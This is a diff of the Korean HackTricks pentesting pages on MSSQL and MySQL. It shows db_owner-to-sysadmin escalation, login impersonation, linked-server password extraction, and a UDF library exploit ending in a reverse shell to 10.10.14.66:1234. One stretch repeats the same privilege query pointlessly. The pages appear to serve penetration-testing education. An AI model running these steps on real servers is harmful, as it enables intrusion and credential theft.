[확장 저장 프로시저](https://docs.microsoft.com/en-us/sql/relational-databases/extended-stored-procedures-programming/adding-an-extended-stored-procedure-to-sql-server), [CLR 어셈블리](https://docs.microsoft.com/en-us/dotnet/framework/data/adonet/sql/introduction-to-sql-server-clr-integration), [SQL Server 에이전트 작업](https://docs.microsoft.com/en-us/sql/ssms/agent/schedule-a-job?view=sql-server-ver15) 및 [외부 스크립트](https://docs.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/sp-execute-external-script-transact-sql)를 추가하는 등 **명령 실행**을 위한 다른 방법이 있습니다.
|
||||
|
||||
|
||||
## MSSQL 권한 상승
|
||||
|
||||
### db_owner에서 sysadmin으로
|
||||
### db\_owner에서 sysadmin으로
|
||||
|
||||
**일반 사용자**가 **관리자가 소유한 데이터베이스**에 대한 **`db_owner` 역할**을 부여받고 해당 데이터베이스가 \*\*`trustworthy`\*\*로 구성된 경우, 해당 사용자는 이러한 권한을 **악용**하여 **권한 상승**을 할 수 있습니다. 왜냐하면 거기에 생성된 **저장 프로시저**가 소유자(**관리자**)로 **실행**될 수 있기 때문입니다.
|
||||
|
||||
**일반 사용자**가 **관리자가 소유한 데이터베이스**에 대한 **`db_owner` 역할**을 부여받고 해당 데이터베이스가 **`trustworthy`**로 구성된 경우, 해당 사용자는 이러한 권한을 **악용**하여 **권한 상승**을 할 수 있습니다. 왜냐하면 거기에 생성된 **저장 프로시저**가 소유자(**관리자**)로 **실행**될 수 있기 때문입니다.
|
||||
```sql
|
||||
# Get owners of databases
|
||||
SELECT suser_sname(owner_sid) FROM sys.databases
|
||||
|
@ -390,19 +421,25 @@ EXEC sp_elevate_me
|
|||
--3. Verify your user is a sysadmin
|
||||
SELECT is_srvrolemember('sysadmin')
|
||||
```
|
||||
|
||||
**metasploit** 모듈을 사용할 수 있습니다:
|
||||
|
||||
```bash
|
||||
msf> use auxiliary/admin/mssql/mssql_escalate_dbowner
|
||||
```
|
||||
|
||||
또는 **PS** 스크립트:
|
||||
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-Dbowner.psm1
|
||||
Import-Module .Invoke-SqlServerDbElevateDbOwner.psm1
|
||||
Invoke-SqlServerDbElevateDbOwner -SqlUser myappuser -SqlPass MyPassword! -SqlServerInstance 10.2.2.184
|
||||
```
|
||||
|
||||
### 다른 사용자의 위장
|
||||
|
||||
SQL Server에는 **`IMPERSONATE`**라는 특별한 권한이 있습니다. 이 권한은 **실행 중인 사용자가 다른 사용자나 로그인의 권한을 빌려서 사용**할 수 있게 합니다. 이는 컨텍스트가 재설정되거나 세션이 종료될 때까지 유지됩니다.
|
||||
SQL Server에는 \*\*`IMPERSONATE`\*\*라는 특별한 권한이 있습니다. 이 권한은 **실행 중인 사용자가 다른 사용자나 로그인의 권한을 빌려서 사용**할 수 있게 합니다. 이는 컨텍스트가 재설정되거나 세션이 종료될 때까지 유지됩니다.
|
||||
|
||||
```sql
|
||||
# Find users you can impersonate
|
||||
SELECT distinct b.name
|
||||
|
@ -417,11 +454,13 @@ EXECUTE AS LOGIN = 'sa'
|
|||
SELECT SYSTEM_USER
|
||||
SELECT IS_SRVROLEMEMBER('sysadmin')
|
||||
```
|
||||
|
||||
{% hint style="info" %}
|
||||
사용자를 피싱할 수 있다면, 그 사용자가 다른 데이터베이스나 연결된 서버에 액세스할 수 있는지 확인해야 합니다.
|
||||
|
||||
한 번 sysadmin이 되면 다른 사용자를 피싱할 수 있습니다:
|
||||
{% endhint %}
|
||||
|
||||
```sql
|
||||
-- Impersonate RegUser
|
||||
EXECUTE AS LOGIN = 'RegUser'
|
||||
|
@ -431,37 +470,40 @@ SELECT IS_SRVROLEMEMBER('sysadmin')
|
|||
-- Change back to sa
|
||||
REVERT
|
||||
```
|
||||
|
||||
당신은 **metasploit** 모듈을 사용하여 이 공격을 수행할 수 있습니다.
|
||||
|
||||
```bash
|
||||
msf> auxiliary/admin/mssql/mssql_escalate_execute_as
|
||||
```
|
||||
|
||||
또는 **PS** 스크립트로도 가능합니다:
|
||||
|
||||
```powershell
|
||||
# https://raw.githubusercontent.com/nullbind/Powershellery/master/Stable-ish/MSSQL/Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Import-Module .Invoke-SqlServer-Escalate-ExecuteAs.psm1
|
||||
Invoke-SqlServer-Escalate-ExecuteAs -SqlServerInstance 10.2.9.101 -SqlUser myuser1 -SqlPass MyPassword!
|
||||
```
|
||||
|
||||
## MSSQL을 사용한 지속성
|
||||
|
||||
[https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/](https://blog.netspi.com/sql-server-persistence-part-1-startup-stored-procedures/)
|
||||
|
||||
## SQL Server Linked Servers에서 암호 추출하기
|
||||
공격자는 SQL Server Linked Servers 암호를 SQL Instances에서 추출하여 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상 시스템에서 더 큰 영향력을 획들할 수 있는 암호를 얻을 수 있습니다.
|
||||
Linked Servers에 저장된 암호를 추출하고 복호화하는 스크립트는 [여기](https://www.richardswinbank.net/admin/extract_linked_server_passwords)에서 찾을 수 있습니다.
|
||||
|
||||
이 취약점을 이용하려면 몇 가지 요구 사항과 구성이 필요합니다.
|
||||
먼저, 시스템에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.
|
||||
공격자는 SQL Server Linked Servers 암호를 SQL Instances에서 추출하여 평문으로 얻을 수 있으며, 이를 통해 공격자는 대상 시스템에서 더 큰 영향력을 획들할 수 있는 암호를 얻을 수 있습니다. Linked Servers에 저장된 암호를 추출하고 복호화하는 스크립트는 [여기](https://www.richardswinbank.net/admin/extract\_linked\_server\_passwords)에서 찾을 수 있습니다.
|
||||
|
||||
이 취약점을 이용하려면 몇 가지 요구 사항과 구성이 필요합니다. 먼저, 시스템에서 관리자 권한이 있거나 SQL Server 구성을 관리할 수 있는 능력이 있어야 합니다.
|
||||
|
||||
권한을 확인한 후에는 다음과 같은 세 가지 구성을 해야 합니다:
|
||||
|
||||
1. SQL Server 인스턴스에서 TCP/IP를 활성화합니다.
|
||||
2. 시작 업 매개변수를 추가해야 합니다. 이 경우에는 -T7806인 추적 플래그가 추가됩니다.
|
||||
3. 원격 관리 연결을 활성화합니다.
|
||||
|
||||
이러한 구성을 자동화하려면 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에 필요한 스크립트가 있습니다.
|
||||
구성 각 단계에 대한 PowerShell 스크립트뿐만 아니라, 저장소에는 구성 스크립트와 암호 추출 및 복호화를 결합한 전체 스크립트도 있습니다.
|
||||
이러한 구성을 자동화하려면 [이 저장소](https://github.com/IamLeandrooooo/SQLServerLinkedServersPasswords/)에 필요한 스크립트가 있습니다. 구성 각 단계에 대한 PowerShell 스크립트뿐만 아니라, 저장소에는 구성 스크립트와 암호 추출 및 복호화를 결합한 전체 스크립트도 있습니다.
|
||||
|
||||
더 많은 정보는 다음 공격에 관한 다음 링크를 참조하십시오:
|
||||
[MSSQL 데이터베이스 링크 서버 암호 복호화](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
더 많은 정보는 다음 공격에 관한 다음 링크를 참조하십시오: [MSSQL 데이터베이스 링크 서버 암호 복호화](https://www.netspi.com/blog/technical/adversary-simulation/decrypting-mssql-database-link-server-passwords/)
|
||||
|
||||
[SQL Server 전용 관리자 연결 문제 해결](https://www.mssqltips.com/sqlservertip/5364/troubleshooting-the-sql-server-dedicated-administrator-connection/)
|
||||
|
||||
|
@ -485,21 +527,21 @@ MSSQL 서버를 실행하는 사용자는 **SeImpersonatePrivilege** 권한 토
|
|||
## 참고 자료
|
||||
|
||||
* [모든 데이터베이스 사용자 목록 가져오는 방법](https://stackoverflow.com/questions/18866881/how-to-get-the-list-of-all-database-users)
|
||||
* [SQL Server 로그인 사용자 권한 fn_my_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
* [SQL Server 로그인 사용자 권한 fn\_my\_permissions](https://www.mssqltips.com/sqlservertip/6828/sql-server-login-user-permissions-fn-my-permissions/)
|
||||
* [고급 MSSQL 삽입 트릭](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
|
||||
* [SQL Server 저장 프로시저 해킹 - 신뢰할 수 없는 데이터베이스](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-1-untrustworthy-databases/)
|
||||
* [SQL Server 저장 프로시저 해킹 - 사용자 위장](https://www.netspi.com/blog/technical/network-penetration-testing/hacking-sql-server-stored-procedures-part-2-user-impersonation/)
|
||||
* [Metasploit를 사용한 SQL Server를 통한 SMB 릴레이 공격 실행](https://www.netspi.com/blog/technical/network-penetration-testing/executing-smb-relay-attacks-via-sql-server-using-metasploit/)
|
||||
* [SQL Server 레지스트리 작업](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/)
|
||||
**Try Hard Security Group**
|
||||
* [SQL Server 레지스트리 작업](https://blog.waynesheffield.com/wayne/archive/2017/08/working-registry-sql-server/) **Try Hard Security Group**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="https://github.com/carlospolop/hacktricks/blob/kr/network-services-pentesting/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
***
|
||||
|
||||
## HackTricks 자동 명령어
|
||||
|
||||
```
|
||||
Protocol_Name: MSSQL #Protocol Abbreviation if there is one.
|
||||
Port_Number: 1433 #Comma separated if there is more than one.
|
||||
|
@ -555,6 +597,7 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_enum; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use admin/mssql/mssql_enum_domain_accounts; set RHOSTS {IP}; set RPORT <PORT>; run; exit' &&msfconsole -q -x 'use admin/mssql/mssql_enum_sql_logins; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_dbowner; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_escalate_execute_as; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_exec; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/admin/mssql/mssql_findandsampledata; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_hashdump; set RHOSTS {IP}; set RPORT <PORT>; run; exit' && msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_schemadump; set RHOSTS {IP}; set RPORT <PORT>; run; exit'
|
||||
|
||||
```
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>htARTE (HackTricks AWS Red Team Expert)</strong>를 통해 제로부터 영웅이 될 때까지 AWS 해킹을 배우세요!</summary>
|
||||
|
@ -564,7 +607,7 @@ Command: msfconsole -q -x 'use auxiliary/scanner/mssql/mssql_ping; set RHOSTS {I
|
|||
* **회사가 HackTricks에 광고되길 원하거나 HackTricks를 PDF로 다운로드하길 원한다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 저희의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)을 **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)을 **팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스웨그**](https://peass.creator-spring.com)를 얻으세요.
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요. 독점적인 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션입니다.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**를** **팔로우**하세요.
|
||||
* 💬 [**Discord 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **참여**하거나 **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**를** **팔로우**하세요.
|
||||
* **HackTricks**와 **HackTricks Cloud** github 저장소에 PR을 제출하여 **해킹 트릭을 공유**하세요.
|
||||
|
||||
</details>
|
||||
|
@ -22,19 +22,23 @@ HackTricks를 지원하는 다른 방법:
|
|||
|
||||
## **기본 정보**
|
||||
|
||||
**MySQL**는 비용이 없는 오픈 소스 **관계형 데이터베이스 관리 시스템 (RDBMS)**로서 **Structured Query Language (SQL)**에서 작동하여 데이터베이스의 관리 및 조작을 가능하게 합니다.
|
||||
**MySQL**는 비용이 없는 오픈 소스 \*\*관계형 데이터베이스 관리 시스템 (RDBMS)\*\*로서 \*\*Structured Query Language (SQL)\*\*에서 작동하여 데이터베이스의 관리 및 조작을 가능하게 합니다.
|
||||
|
||||
**기본 포트:** 3306
|
||||
|
||||
```
|
||||
3306/tcp open mysql
|
||||
```
|
||||
|
||||
## **연결**
|
||||
|
||||
### **로컬**
|
||||
|
||||
```bash
|
||||
mysql -u root # Connect to root without password
|
||||
mysql -u root -p # A password will be asked (check someone)
|
||||
```
|
||||
|
||||
### 원격
|
||||
|
||||
MySQL can be accessed remotely through the network. This can be a potential security risk if proper precautions are not taken. In this section, we will discuss some techniques for pentesting remote MySQL services.
|
||||
|
@ -76,13 +80,16 @@ SQL 인젝션은 웹 애플리케이션의 데이터베이스 레이어의 취
|
|||
Privilege escalation is the process of gaining higher privileges on a system or application. In the context of MySQL pentesting, privilege escalation can involve gaining administrative access to the MySQL server or obtaining higher privileges within the MySQL database.
|
||||
|
||||
권한 상승은 시스템 또는 애플리케이션에서 더 높은 권한을 얻는 과정입니다. MySQL 펜테스팅의 경우, 권한 상승은 MySQL 서버에 대한 관리 권한 획득이나 MySQL 데이터베이스 내에서 더 높은 권한 획득을 포함할 수 있습니다.
|
||||
|
||||
```bash
|
||||
mysql -h <Hostname> -u root
|
||||
mysql -h <Hostname> -u root@localhost
|
||||
```
|
||||
|
||||
## 외부 열거
|
||||
|
||||
일부 열거 작업은 유효한 자격 증명이 필요합니다.
|
||||
|
||||
```bash
|
||||
nmap -sV -p 3306 --script mysql-audit,mysql-databases,mysql-dump-hashes,mysql-empty-password,mysql-enum,mysql-info,mysql-query,mysql-users,mysql-variables,mysql-vuln-cve2012-2122 <IP>
|
||||
msf> use auxiliary/scanner/mysql/mysql_version
|
||||
|
@ -92,13 +99,16 @@ msf> use auxiliary/admin/mysql/mysql_enum #Creds
|
|||
msf> use auxiliary/scanner/mysql/mysql_schemadump #Creds
|
||||
msf> use exploit/windows/mysql/mysql_start_up #Execute commands Windows, Creds
|
||||
```
|
||||
|
||||
### [**무차별 대입 공격**](../generic-methodologies-and-resources/brute-force.md#mysql)
|
||||
|
||||
### 이진 데이터 작성하기
|
||||
|
||||
```bash
|
||||
CONVERT(unhex("6f6e2e786d6c55540900037748b75c7249b75"), BINARY)
|
||||
CONVERT(from_base64("aG9sYWFhCg=="), BINARY)
|
||||
```
|
||||
|
||||
## **MySQL 명령어**
|
||||
|
||||
MySQL is a popular open-source relational database management system. It is widely used in web applications and is known for its speed and reliability. In this section, we will explore some commonly used MySQL commands for database management and manipulation.
|
||||
|
@ -204,6 +214,7 @@ DROP DATABASE <database_name>;
|
|||
Replace `<database_name>` with the name of the database you want to drop.
|
||||
|
||||
These are just a few examples of the many commands available in MySQL. By mastering these commands, you will be able to perform various tasks related to database management and manipulation.
|
||||
|
||||
```bash
|
||||
show databases;
|
||||
use <database>;
|
||||
|
@ -240,6 +251,7 @@ quit;
|
|||
mysql -u username -p < manycommands.sql #A file with all the commands you want to execute
|
||||
mysql -u root -h 127.0.0.1 -e 'show databases;'
|
||||
```
|
||||
|
||||
### MySQL 권한 열거
|
||||
|
||||
MySQL 데이터베이스에 대한 권한 열거는 시스템에 대한 정보를 수집하는 데 도움이 됩니다. 다음은 MySQL 권한을 열거하는 몇 가지 방법입니다.
|
||||
|
@ -252,7 +264,7 @@ SHOW GRANTS FOR 'username'@'localhost';
|
|||
|
||||
위의 명령어를 사용하여 특정 사용자의 권한을 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.
|
||||
|
||||
#### 2. INFORMATION_SCHEMA 사용
|
||||
#### 2. INFORMATION\_SCHEMA 사용
|
||||
|
||||
```sql
|
||||
SELECT * FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE GRANTEE LIKE '%username%';
|
||||
|
@ -284,7 +296,7 @@ SELECT * FROM mysql.db WHERE User='username'\G
|
|||
|
||||
위의 쿼리를 사용하여 특정 사용자가 특정 데이터베이스에 대한 권한을 가지고 있는지 확인할 수 있습니다. 'username'은 확인하려는 사용자의 이름으로 대체되어야 합니다.
|
||||
|
||||
#### 6. SHOW GRANTS FOR CURRENT_USER() 명령어 사용
|
||||
#### 6. SHOW GRANTS FOR CURRENT\_USER() 명령어 사용
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR CURRENT_USER();
|
||||
|
@ -292,7 +304,7 @@ SHOW GRANTS FOR CURRENT_USER();
|
|||
|
||||
위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.
|
||||
|
||||
#### 7. SHOW GRANTS FOR CURRENT_USER 명령어 사용
|
||||
#### 7. SHOW GRANTS FOR CURRENT\_USER 명령어 사용
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR CURRENT_USER;
|
||||
|
@ -300,7 +312,7 @@ SHOW GRANTS FOR CURRENT_USER;
|
|||
|
||||
위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.
|
||||
|
||||
#### 8. SHOW GRANTS FOR CURRENT_USER 명령어 사용
|
||||
#### 8. SHOW GRANTS FOR CURRENT\_USER 명령어 사용
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR CURRENT_USER;
|
||||
|
@ -308,7 +320,7 @@ SHOW GRANTS FOR CURRENT_USER;
|
|||
|
||||
위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.
|
||||
|
||||
#### 9. SHOW GRANTS FOR CURRENT_USER 명령어 사용
|
||||
#### 9. SHOW GRANTS FOR CURRENT\_USER 명령어 사용
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR CURRENT_USER;
|
||||
|
@ -316,13 +328,14 @@ SHOW GRANTS FOR CURRENT_USER;
|
|||
|
||||
위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.
|
||||
|
||||
#### 10. SHOW GRANTS FOR CURRENT_USER 명령어 사용
|
||||
#### 10. SHOW GRANTS FOR CURRENT\_USER 명령어 사용
|
||||
|
||||
```sql
|
||||
SHOW GRANTS FOR CURRENT_USER;
|
||||
```
|
||||
|
||||
위의 명령어를 사용하여 현재 사용자의 권한을 확인할 수 있습니다.
|
||||
|
||||
```sql
|
||||
#Mysql
|
||||
SHOW GRANTS [FOR user];
|
||||
|
@ -345,6 +358,7 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||
#@ Functions not from sys. db
|
||||
SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCTION' AND routine_schema!='sys';
|
||||
```
|
||||
|
||||
문서에서 각 권한의 의미를 확인할 수 있습니다: [https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html](https://dev.mysql.com/doc/refman/8.0/en/privileges-provided.html#priv\_execute)
|
||||
|
||||
### MySQL 파일 RCE
|
||||
|
@ -357,16 +371,20 @@ SELECT routine_name FROM information_schema.routines WHERE routine_type = 'FUNCT
|
|||
|
||||
실제로, **로컬 데이터를 테이블로 로드**할 때 MySQL 또는 MariaDB 서버는 **클라이언트에게 파일의 내용을 읽고 내용을 보내도록 요청**합니다. **따라서, mysql 클라이언트를 조작하여 자체 MySQL 서버에 연결하면 임의의 파일을 읽을 수 있습니다.**\
|
||||
이는 다음을 사용하여 동작하는 것에 유의하세요:
|
||||
|
||||
```bash
|
||||
load data local infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
```
|
||||
|
||||
(주의: "local"이라는 단어를 참고하세요)\
|
||||
"local" 없이는 다음과 같은 결과를 얻을 수 있습니다:
|
||||
|
||||
```bash
|
||||
mysql> load data infile "/etc/passwd" into table test FIELDS TERMINATED BY '\n';
|
||||
|
||||
ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv option so it cannot execute this statement
|
||||
```
|
||||
|
||||
**초기 PoC:** [**https://github.com/allyshka/Rogue-MySql-Server**](https://github.com/allyshka/Rogue-MySql-Server)\
|
||||
**이 논문에서는 공격에 대한 완전한 설명과 심지어 RCE로 확장하는 방법까지 볼 수 있습니다:** [**https://paper.seebug.org/1113/**](https://paper.seebug.org/1113/)\
|
||||
**여기에서는 공격에 대한 개요를 찾을 수 있습니다:** [**http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/**](http://russiansecurity.expert/2016/04/20/mysql-connect-file-read/)
|
||||
|
@ -384,23 +402,25 @@ ERROR 1290 (HY000): The MySQL server is running with the --secure-file-priv opti
|
|||
### Mysql 사용자
|
||||
|
||||
만약 mysql이 **root**로 실행 중이라면 매우 흥미로울 것입니다:
|
||||
|
||||
```bash
|
||||
cat /etc/mysql/mysql.conf.d/mysqld.cnf | grep -v "#" | grep "user"
|
||||
systemctl status mysql 2>/dev/null | grep -o ".\{0,0\}user.\{0,50\}" | cut -d '=' -f2 | cut -d ' ' -f1
|
||||
```
|
||||
|
||||
#### mysqld.cnf의 위험한 설정
|
||||
|
||||
MySQL 서비스의 구성에서 다양한 설정이 사용되어 작동 및 보안 조치가 정의됩니다:
|
||||
|
||||
- **`user`** 설정은 MySQL 서비스가 실행될 사용자를 지정하는 데 사용됩니다.
|
||||
- **`password`**는 MySQL 사용자와 관련된 암호를 설정하는 데 사용됩니다.
|
||||
- **`admin_address`**는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
|
||||
- **`debug`** 변수는 현재 디버깅 구성을 나타내며 로그에 민감한 정보를 포함합니다.
|
||||
- **`sql_warnings`**는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 여부를 관리하며 로그에 민감한 데이터가 포함됩니다.
|
||||
- **`secure_file_priv`**를 사용하여 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화할 수 있습니다.
|
||||
|
||||
* **`user`** 설정은 MySQL 서비스가 실행될 사용자를 지정하는 데 사용됩니다.
|
||||
* \*\*`password`\*\*는 MySQL 사용자와 관련된 암호를 설정하는 데 사용됩니다.
|
||||
* \*\*`admin_address`\*\*는 관리 네트워크 인터페이스에서 TCP/IP 연결을 수신하는 IP 주소를 지정합니다.
|
||||
* **`debug`** 변수는 현재 디버깅 구성을 나타내며 로그에 민감한 정보를 포함합니다.
|
||||
* \*\*`sql_warnings`\*\*는 경고가 발생할 때 단일 행 INSERT 문에 대한 정보 문자열이 생성되는지 여부를 관리하며 로그에 민감한 데이터가 포함됩니다.
|
||||
* \*\*`secure_file_priv`\*\*를 사용하여 데이터 가져오기 및 내보내기 작업의 범위를 제한하여 보안을 강화할 수 있습니다.
|
||||
|
||||
### 권한 상승
|
||||
|
||||
```bash
|
||||
# Get current user (an all users) privileges and hashes
|
||||
use mysql;
|
||||
|
@ -418,6 +438,7 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||
# Get a shell (with your permissions, usefull for sudo/suid privesc)
|
||||
\! sh
|
||||
```
|
||||
|
||||
### 라이브러리를 통한 권한 상승
|
||||
|
||||
만약 **mysql 서버가 root로 실행 중**이거나 다른 더 권한이 있는 사용자로 실행 중이라면, 명령을 실행할 수 있습니다. 이를 위해서는 **사용자 정의 함수**를 사용해야 합니다. 그리고 mysql을 실행 중인 운영 체제에 필요한 **라이브러리**를 생성해야 합니다.
|
||||
|
@ -425,13 +446,16 @@ grant SELECT,CREATE,DROP,UPDATE,DELETE,INSERT on *.* to mysql identified by 'mys
|
|||
악성 라이브러리는 sqlmap과 metasploit 내에서 **`locate "*lib_mysqludf_sys*"`** 명령을 실행하여 찾을 수 있습니다. **`.so`** 파일은 **리눅스** 라이브러리이고 **`.dll`** 파일은 **Windows**용입니다. 필요한 파일을 선택하세요.
|
||||
|
||||
만약 해당 라이브러리를 **가지고 있지 않다면**, 라이브러리를 **찾아보거나**, 이 [**리눅스 C 코드**](https://www.exploit-db.com/exploits/1518)를 다운로드하여 **취약한 리눅스 머신 내에서 컴파일**할 수 있습니다.
|
||||
|
||||
```bash
|
||||
gcc -g -c raptor_udf2.c
|
||||
gcc -g -shared -Wl,-soname,raptor_udf2.so -o raptor_udf2.so raptor_udf2.o -lc
|
||||
```
|
||||
|
||||
이제 라이브러리를 가지고 있으므로, 특권 사용자(root?)로 Mysql에 로그인하고 다음 단계를 따르십시오:
|
||||
|
||||
#### Linux
|
||||
|
||||
```sql
|
||||
# Use a database
|
||||
use mysql;
|
||||
|
@ -451,9 +475,10 @@ create function sys_exec returns integer soname 'lib_mysqludf_sys.so';
|
|||
select sys_exec('id > /tmp/out.txt; chmod 777 /tmp/out.txt');
|
||||
select sys_exec('bash -c "bash -i >& /dev/tcp/10.10.14.66/1234 0>&1"');
|
||||
```
|
||||
|
||||
#### 윈도우
|
||||
|
||||
##### MySQL 서비스 검사
|
||||
**MySQL 서비스 검사**
|
||||
|
||||
MySQL 서비스는 일반적으로 3306 포트에서 실행됩니다. 다음 명령을 사용하여 MySQL 서비스가 실행 중인지 확인할 수 있습니다.
|
||||
|
||||
|
@ -463,87 +488,83 @@ netstat -ano | findstr :3306
|
|||
|
||||
만약 MySQL 서비스가 실행 중이라면, 다음 단계를 따라 MySQL 서비스에 대한 펜테스트를 수행할 수 있습니다.
|
||||
|
||||
##### MySQL 서비스 펜테스트
|
||||
**MySQL 서비스 펜테스트**
|
||||
|
||||
1. **MySQL 서비스 버전 확인**
|
||||
1. **MySQL 서비스 버전 확인**
|
||||
|
||||
MySQL 서비스의 버전을 확인하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
MySQL 서비스의 버전을 확인하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
|
||||
```bash
|
||||
mysql -V
|
||||
```
|
||||
```bash
|
||||
mysql -V
|
||||
```
|
||||
2. **MySQL 서비스에 대한 기본 연결**
|
||||
|
||||
2. **MySQL 서비스에 대한 기본 연결**
|
||||
MySQL 서비스에 대한 기본 연결을 수행하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
|
||||
MySQL 서비스에 대한 기본 연결을 수행하기 위해 다음 명령을 사용할 수 있습니다.
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u <사용자> -p
|
||||
```
|
||||
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u <사용자> -p
|
||||
```
|
||||
* `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
* `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
* `<사용자>`: MySQL 서비스에 연결할 사용자 이름
|
||||
|
||||
- `<호스트>`: MySQL 서비스가 실행 중인 호스트의 IP 주소 또는 도메인 이름
|
||||
- `<포트>`: MySQL 서비스가 실행 중인 포트 번호 (일반적으로 3306)
|
||||
- `<사용자>`: MySQL 서비스에 연결할 사용자 이름
|
||||
이 명령을 실행하면 MySQL 서비스에 대한 기본 연결이 수행됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.
|
||||
3. **MySQL 서비스에 대한 익명 연결**
|
||||
|
||||
이 명령을 실행하면 MySQL 서비스에 대한 기본 연결이 수행됩니다. 비밀번호를 입력하라는 메시지가 표시되면, 올바른 비밀번호를 입력하십시오.
|
||||
MySQL 서비스에 대한 익명 연결을 시도하여 익명 사용자로 로그인할 수 있는지 확인할 수 있습니다. 다음 명령을 사용하십시오.
|
||||
|
||||
3. **MySQL 서비스에 대한 익명 연결**
|
||||
```bash
|
||||
mysql -h <호스트> -P <포트> -u anonymous
|
||||
```
|
||||
|
||||
